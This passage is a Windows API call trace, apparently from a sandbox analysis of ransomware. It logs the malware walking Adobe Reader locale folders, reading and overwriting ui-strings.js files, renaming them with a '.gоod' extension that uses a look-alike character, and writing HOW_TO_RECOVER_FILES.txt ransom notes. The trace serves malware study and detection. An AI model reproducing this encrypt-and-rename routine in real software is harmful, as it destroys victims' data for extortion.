lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xc19bd8f2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc19bd8f2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.772] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0263.772] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x44137e3b, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x44137e3b, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce3d633b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0263.772] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0263.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0263.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0263.772] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Downloads\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Downloads\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x32 [0263.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0263.772] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Downloads\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\downloads\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a0 [0263.773] GetFileType (hFile=0x8a0) returned 0x1 [0263.773] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0263.773] GetFileType (hFile=0x8a0) returned 0x1 [0263.774] WriteFile (in: hFile=0x8a0, lpBuffer=0x3983f08*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3983f08*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0263.775] CloseHandle (hObject=0x8a0) returned 1 [0263.776] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0263.776] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x77 [0263.776] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a980 [0263.776] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.777] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.777] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0263.777] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0263.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0263.777] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0263.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0263.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp", lpFilePart=0x0) returned 0x77 [0263.777] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aec0 [0263.777] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0263.777] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0263.778] FindNextFileW (in: hFindFile=0x134aec0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0263.778] FindClose (in: hFindFile=0x134aec0 | out: hFindFile=0x134aec0) returned 1 [0263.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0263.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0263.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0263.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0263.778] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39940e8 | out: lpFileInformation=0x39940e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5e9)) returned 1 [0263.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0263.778] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0263.778] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0263.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a0 [0263.779] GetFileType (hFile=0x8a0) returned 0x1 [0263.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0263.779] GetFileType (hFile=0x8a0) returned 0x1 [0263.779] GetFileSize (in: hFile=0x8a0, lpFileSizeHigh=0x1f9ee708 | out: lpFileSizeHigh=0x1f9ee708*=0x0) returned 0x5e9 [0263.779] ReadFile (in: hFile=0x8a0, lpBuffer=0x3994a80, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee638, lpOverlapped=0x0 | out: lpBuffer=0x3994a80*, lpNumberOfBytesRead=0x1f9ee638*=0x5e9, lpOverlapped=0x0) returned 1 [0263.779] CloseHandle (hObject=0x8a0) returned 1 [0264.148] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee040, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.148] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee560) returned 1 [0264.148] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x8a4 [0264.149] GetFileType (hFile=0x8a4) returned 0x1 [0264.149] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee4d0) returned 1 [0264.149] GetFileType (hFile=0x8a4) returned 0x1 [0264.149] WriteFile (in: hFile=0x8a4, lpBuffer=0x3a5a8d0*, nNumberOfBytesToWrite=0x5f0, lpNumberOfBytesWritten=0x1f9ee548, lpOverlapped=0x0 | out: lpBuffer=0x3a5a8d0*, lpNumberOfBytesWritten=0x1f9ee548*=0x5f0, lpOverlapped=0x0) returned 1 [0264.149] CloseHandle (hObject=0x8a4) returned 1 [0264.149] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.150] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x8a [0264.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0264.150] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x99a9a614, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5f0)) returned 1 [0264.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0264.150] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0264.151] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f9ee350, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x90 [0264.151] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee870) returned 1 [0264.151] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0264.152] GetFileType (hFile=0x8a4) returned 0x1 [0264.152] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee7e0) returned 1 [0264.152] GetFileType (hFile=0x8a4) returned 0x1 [0264.152] WriteFile (in: hFile=0x8a4, lpBuffer=0x3a5e1e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f9ee938, lpOverlapped=0x0 | out: lpBuffer=0x3a5e1e0*, lpNumberOfBytesWritten=0x1f9ee938*=0x5d0, lpOverlapped=0x0) returned 1 [0264.153] CloseHandle (hObject=0x8a4) returned 1 [0264.154] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0264.154] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr", lpFilePart=0x0) returned 0x77 [0264.154] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0264.154] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.155] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.155] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0264.155] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0264.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0264.155] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0264.155] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee900) returned 1 [0264.155] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1f9ee3a0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr", lpFilePart=0x0) returned 0x77 [0264.155] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\*", lpFindFileData=0x1f9ee620 | out: lpFindFileData=0x1f9ee620*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0264.155] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.156] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0264.156] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f9ee5e0 | out: lpFindFileData=0x1f9ee5e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0264.156] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0264.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee840) returned 1 [0264.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee800) returned 1 [0264.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js", lpFilePart=0x0) returned 0x85 [0264.156] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0264.156] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ko-kr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3a73120 | out: lpFileInformation=0x3a73120*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0264.156] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0264.156] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 